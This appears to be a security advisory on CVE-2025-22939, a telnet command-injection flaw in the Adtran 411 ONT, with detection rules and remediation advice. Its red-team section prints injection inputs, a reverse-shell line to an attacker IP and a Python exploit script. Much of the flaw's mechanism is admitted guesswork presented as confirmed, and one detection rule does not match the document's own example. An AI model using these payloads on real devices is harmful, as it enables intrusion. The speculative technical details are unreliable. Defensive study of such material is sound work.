CVE-2025-22939

Executive Summary

CVE-2025-22939 is a critical command injection vulnerability discovered in the telnet service of the Adtran 411 Optical Network Terminal (ONT) running firmware version L80.00.0011.M2. This flaw allows an unauthenticated attacker to escalate privileges to root and execute arbitrary commands on the device. The vulnerability resides in the telnet daemon, which fails to properly sanitize user input before passing it to a system shell. Successful exploitation can lead to full device compromise, network pivoting, and persistent backdoor installation. No public proof-of-concept (PoC) code or patch is currently available, making this a high-risk zero-day for affected deployments.

CVSS Breakdown & Threat Level

While no official CVSS vector has been assigned, based on the nature of the vulnerability (unauthenticated remote command injection leading to root escalation), the estimated CVSS v3.1 score is 9.8 (Critical).

• Attack Vector (AV): Network (N) – Exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full device compromise leads to data exposure.
• Integrity (I): High (H) – Attacker can modify system files and configurations.
• Availability (A): High (H) – Attacker can disrupt service or render device inoperable.

Threat Level: Critical. Immediate action is required for any exposed Adtran 411 ONT devices.

Deep Dive & Mechanics

The vulnerability exists within the telnet service binary on the Adtran 411 ONT. The telnet daemon likely handles user authentication and command execution. The flaw is a classic OS command injection (CWE-78) where user-supplied input, such as a username or password field, is concatenated directly into a shell command without proper sanitization or escaping.

For example, the telnet service might execute a command like:

/bin/login -u <user_input>

If an attacker provides a malicious input such as admin; id > /tmp/pwned, the shell interprets the semicolon as a command separator, executing both the intended login command and the injected id command. Because the telnet service runs with root privileges (or can escalate via SUID binaries), the injected commands also execute as root, granting full control over the device.

The attack surface is significant because telnet is often exposed on the WAN interface for remote management, making the device reachable from the internet. No authentication is required to trigger the injection; the vulnerability is triggered during the initial connection or authentication phase.

Vulnerable vs. Patched Code

Since no patch is available, a comparison is speculative. However, the vulnerable code likely resembles:

Vulnerable (C):

void handle_telnet_login(char *username) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "/bin/login -u %s", username);
    system(cmd);
}

Patched (C):

void handle_telnet_login(char *username) {
    // Use execve to avoid shell interpretation
    char *args[] = {"/bin/login", "-u", username, NULL};
    execve("/bin/login", args, environ);
}

The patched version uses execve directly, which does not invoke a shell and thus prevents command injection. Alternatively, input validation (e.g., rejecting special characters like ;, |, `) would also mitigate the issue.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Obtain an Adtran 411 ONT with firmware L80.00.0011.M2.
2. Connect the device to an isolated network with telnet enabled on the WAN interface (default port 23).
3. Use a tool like nmap to confirm the telnet service is open.

Exploitation Steps:

1. Connect to the telnet service using netcat or telnet:

   telnet <target_ip> 23
   

2. When prompted for a username, inject a command:

   admin; id
   

3. Observe the output of the id command, confirming root execution.
4. For a reverse shell:

   admin; bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1
   

5. On the attacker machine, listen for the connection:

   nc -lvnp 4444
   

Automated Exploit (Python):

import socket

target = "192.168.1.1"
port = 23

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.recv(1024)  # Receive banner

payload = b"admin; id\n"
s.send(payload)
response = s.recv(4096)
print(response.decode())
s.close()

Blue Team (Defensive)

Detection:

• Monitor telnet traffic for unusual characters (semicolons, pipes, backticks) in the initial handshake.
• Deploy network intrusion detection rules (see Suricata below).
• Enable logging on the telnet service if possible.

Mitigation:

• Disable telnet immediately and use SSH with key-based authentication.
• Restrict telnet access to trusted IPs only via firewall rules.
• Apply network segmentation to isolate ONT devices from the internet.

Indicators of Compromise (IOCs)

• Network:
  • Unusual telnet connections from unexpected IPs.
  • Telnet payloads containing shell metacharacters (;, |, &, `).
  • Outbound connections from the ONT to unknown IPs on high ports (reverse shell).
• Host:
  • Presence of unexpected files in /tmp/ (e.g., /tmp/pwned).
  • Modified system binaries or configuration files.
  • New user accounts or SSH keys in /root/.ssh/authorized_keys.
  • Running processes like bash spawned by the telnet daemon.

Detection Engineering

YARA Rule

rule CVE_2025_22939_Telnet_Injection {
    meta:
        description = "Detects command injection attempts against Adtran 411 ONT telnet service"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22939"
    strings:
        $injection1 = /admin[;|&`]/
        $injection2 = /root[;|&`]/
        $injection3 = /[;|&`]\s*(id|whoami|cat|bash|sh|nc|wget|curl)/
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-22939 Telnet Command Injection
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects command injection attempts against Adtran 411 ONT telnet service
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port: 23
        payload|contains:
            - ';'
            - '|'
            - '`'
            - '$(('
    condition: selection
falsepositives:
    - Legitimate use of special characters in telnet (unlikely)
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 23 (msg:"CVE-2025-22939 Telnet Command Injection Attempt"; flow:to_server,established; content:"|3B|"; nocase; content:"|7C|"; distance:0; within:10; content:"id"; distance:0; within:10; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Telnet: If telnet is not required, disable it immediately via the device management interface or by blocking port 23 at the network perimeter.
2. Apply Firewall Rules: Restrict telnet access to only trusted management IPs.
3. Upgrade Firmware: Monitor Adtran’s official support channels for a patched firmware version. Apply it as soon as it becomes available.

Long-Term Measures:

• Replace telnet with SSH for all remote management.
• Implement network segmentation to isolate ONT devices from the internet.
• Deploy an intrusion prevention system (IPS) with the provided Suricata rule.
• Conduct regular vulnerability scans of all network devices.

Workaround: If telnet cannot be disabled, implement a reverse proxy or jump host that sanitizes input before forwarding to the ONT. However, this is not a complete fix and should only be used temporarily.

Valters IT